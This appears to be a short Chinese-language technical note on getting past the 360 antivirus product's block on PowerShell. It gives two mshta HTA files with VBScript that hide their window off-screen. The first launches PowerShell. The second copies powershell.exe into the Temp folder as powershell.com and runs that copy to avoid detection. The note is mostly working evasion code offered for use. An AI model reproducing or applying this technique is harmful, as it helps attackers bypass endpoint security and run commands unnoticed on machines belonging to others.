Powershell

测试发现360 不拦截 PowerShell 本身的执行, 拦截的是其它进程对 powershell.exe 的调用.

以mshta为例

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.exe"
self.close
</script>
<body>
</body>
</HEAD> 
</HTML>

可以系统目录中的 powershell.exe 复制到 Temp 目录下并重命名为 powershell.com后缀, 然后通过 powershell.com 执行命令

<HTML> 
<meta http-equiv="Content-Type" content="text/html; charset=utf-8">
<HEAD> 
<script language="VBScript">
Window.ReSizeTo 0, 0
Window.moveTo -2000,-2000
Dim fso
Set fso = CreateObject("Scripting.FileSystemObject")
fso.CopyFile "C:/Windows/System32/WindowsPowerShell/v1.0/powershell.exe", "C:/Windows/Temp/powershell.com", True
Set objShell = CreateObject("Wscript.Shell")
objShell.Run "powershell.com"
self.close
</script>
<body>
</body>
</HEAD> 
</HTML>